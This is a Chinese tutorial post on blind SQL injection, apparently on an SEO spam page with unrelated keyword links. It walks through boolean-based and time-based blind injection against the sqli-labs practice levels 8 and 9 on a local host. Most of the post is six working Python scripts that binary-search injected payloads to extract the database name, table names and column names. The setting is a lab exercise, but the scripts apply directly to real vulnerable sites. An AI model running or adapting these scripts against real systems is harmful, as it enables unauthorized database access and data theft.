当前位置: 首页 > wzjs >正文

电子商务网站建设与维护总结四川seo推广公司

电子商务网站建设与维护总结,四川seo推广公司,怎么做网站框架,用python做网站的步骤bool盲注 使用场景: 当页面不会返回明确的数据库错误信息,但能通过页面内容/状态的差异间接判断SQL语句执行结果时。 原理: 攻击者通过构造布尔条件(如 AND 11、OR 12),观察页面的响应差异。 通过逐字符猜测目标数据&#xff…

bool盲注

使用场景:

  • 当页面不会返回明确的数据库错误信息,但能通过页面内容/状态的差异间接判断SQL语句执行结果时。

原理:

  • 攻击者通过构造布尔条件(如 AND 1=1OR 1=2),观察页面的响应差异。

  • 通过逐字符猜测目标数据(如数据库名、表名、字段值),结合二分法或穷举法缩小范围。

案例:

sqli-labs---第八关:通过bool盲注获取数据库名字, 以及其中的表面,和字段名

目标地址:127.0.0.1:8080/less-8/index.php  (本地部署的靶场)

 1.通过脚本获取数据库名

import requestsdef inject_database(url):result = ''for i in range(1, 50):ascii_low = 32ascii_high = 128mid = (ascii_high + ascii_low)//2while ascii_low < ascii_high:payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)res= {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:ascii_low = mid + 1else:ascii_high = midmid = (ascii_low + ascii_high)//2if mid == 32:breakresult += chr(mid)print(result)if __name__ == '__main__':url = "http://127.0.0.1:8080/less-8/index.php"inject_database(url)

 运行结果:

 2. 获取此数据库的所有表名

import requestdef inject_tables(url, database_name):for table_index in range(0, 10):  # 假设最多有10张表result = ''for i in range(1, 50):  # 假设表名长度不超过50个字符ascii_low = 32ascii_high = 128mid = (ascii_high + ascii_low) // 2while ascii_low < ascii_high:# 修改payload以查询表名,并调整LIMIT的offsetpayload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}-- "res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:ascii_low = mid + 1else:ascii_high = midmid = (ascii_low + ascii_high) // 2if mid == 32:breakresult += chr(mid)print(result)if result:  # 表存在print("---------------------")else:break  # 如果没有更多的表,退出循环if __name__ == '__main__':url = "http://127.0.0.1:8080/less-8/index.php"#inject_database(url)inject_tables(url,"security")

 3.获取users表中的所有列名

import request
def inject_columns(url, database_name, table_name):for column_index in range(0, 10):  # 假设最多有10列result = ''for i in range(1, 50):  # 假设列名长度不超过50个字符ascii_low = 32ascii_high = 128mid = (ascii_high + ascii_low) // 2while ascii_low < ascii_high:# 修改payload以查询列名,并调整LIMIT的offsetpayload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}'  limit {column_index},1), {i}, 1)) > {mid}-- "res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:ascii_low = mid + 1else:ascii_high = midmid = (ascii_low + ascii_high) // 2if mid == 32:breakresult += chr(mid)print(result)if result:  # 列存在print("---------------------")else:break  # 如果没有更多的列,退出循环if __name__ == '__main__':url = "http://127.0.0.1:8080/less-8/index.php"#inject_database(url)#inject_tables(url,"security")inject_columns(url,"security","users")

 

 这三者主要就是修改一下payload,代码很简单, 主要是二分查找与sql语句.

时间盲注

使用场景:

  • 当页面完全无任何回显差异(内容、状态码均无变化),但数据库支持时间延迟函数时。

原理:

  • 攻击者注入包含时间延迟函数的SQL语句(如 SLEEP()BENCHMARK()),通过响应时间差异判断条件真假。

  • 通过条件语句控制延迟是否触发,逐位提取数据。

案例:

sqli-labs---第九关:通过时间盲注获取数据库名字, 以及其中的表面,和字段名

目标: http://127.0.0.1:8080/less-9/index.php?id=1

页面回显无法通过比较判断,支持sleep()函数, 所以用时间盲注

1.获取数据库名

相比bool盲注, sql主要是用if,sleep(),python代码用了time函数

import time
import requestsdef inject_database(url):result = ''for i in range(1, 50):ascii_low = 32ascii_high = 128mid = (ascii_high + ascii_low) // 2while ascii_low < ascii_high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(2), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()res_time = end_time - start_timeif res_time >= 2:ascii_low = mid + 1else:ascii_high = midmid = (ascii_low + ascii_high) // 2if mid == 32:breakresult += chr(mid)print(result)if __name__ == '__main__':url = 'http://127.0.0.1:8080/less-9/index.php'inject_database(url)

2.获取表名

 

import time
import requestsdef  inject_table(url, database_name):for table_index in range(0, 10):  # 假设最多有10张表result = ''for i in range(1, 50):  # 假设表名长度不超过50个字符ascii_low = 32ascii_high = 128mid = (ascii_high + ascii_low) // 2while ascii_low < ascii_high:# 修改payload以查询表名,并调整LIMIT的offsetpayload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)res_time = time.time() - start_timeif res_time > 2:ascii_low = mid + 1else:ascii_high = midmid = (ascii_low + ascii_high) // 2if mid == 32:breakresult += chr(mid)print(result)if result:  # 表存在print("---------------------")else:break  # 如果没有更多的表,退出循环if __name__ == '__main__':url = 'http://127.0.0.1:8080/less-9/index.php'#inject_database(url)inject_table(url,'security')

速度很慢 

3.获取emails表中的所有字段名

import time
import requestsdef inject_columns(url, database_name, table_name):for column_index in range(0, 10):  # 假设最多有10列result = ''for i in range(1, 50):  # 假设列名长度不超过50个字符ascii_low = 32ascii_high = 128mid = (ascii_high + ascii_low) // 2while ascii_low < ascii_high:# 修改payload以查询列名,并调整LIMIT的offsetpayload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}'  limit {column_index},1), {i}, 1)) > {mid}, sleep(2), 0)-- "res = {"id": payload}s_time = time.time()r = requests.get(url, params=res)r_time = time.time() - s_timeif r_time>2:ascii_low = mid + 1else:ascii_high = midmid = (ascii_low + ascii_high) // 2if mid == 32:breakresult += chr(mid)print(result)if result:  # 列存在print("---------------------")else:break  # 如果没有更多的列,退出循环if __name__ == '__main__':url = 'http://127.0.0.1:8080/less-9/index.php'#inject_database(url)#inject_table(url,'security')inject_columns(url,'security','emails')

就此,时间盲注和bool盲注结束 

http://www.dtcms.com/wzjs/469870.html

相关文章:

  • 做网站要的带宽是什么seo点击排名源码
  • wordpress 做网站今日头条收录入口
  • 太原网站建设方案广告媒体资源平台
  • 苏州做网站公司网站设计方案
  • 个人网站备案地址选择网络营销品牌案例
  • 罗湖网站建设的公司浙江企业seo推广
  • 网站建设技术公司排名谷歌商店安卓版下载
  • 五台县建设局网站长春seo结算
  • 上海公司网站建设线上营销推广
  • 大连网站设计团队网站代理公司
  • 凡科快图一键抠图深圳seo优化外包
  • 响应式网站 谷歌 移动网站网页分析报告案例
  • 外包岗位为什么不能去上海seo推广
  • 主机屋做淘宝客网站站长之家怎么用
  • 如何提高网站的访问速度宁波网站推广网站优化
  • 028网站建设工作室宁波seo公司
  • 推广的几种方式优化大师手机版下载安装app
  • 个人创业做网站外贸如何推广
  • 301的网站用什么来做近期新闻大事
  • 盐城网站开发苏州百度推广分公司电话
  • 网站开发技术可行性免费推广有哪些
  • 购物商城网站开发功能消百度自然排名优化
  • 给人做网站多少钱榆林百度seo
  • 如何查询网站已经提交备案百度资源搜索引擎
  • 长沙建站网站模板哪家公司网站做得好
  • dede 网站名称 空的百度竞价点击价格公式
  • 做软装有什么网站找图片提高网站搜索排名
  • 做网站开直通车百度竞价推广流程
  • wordpress json插件安装宿州百度seo排名软件
  • 如何在阿里巴巴上建设公司网站网站建站开发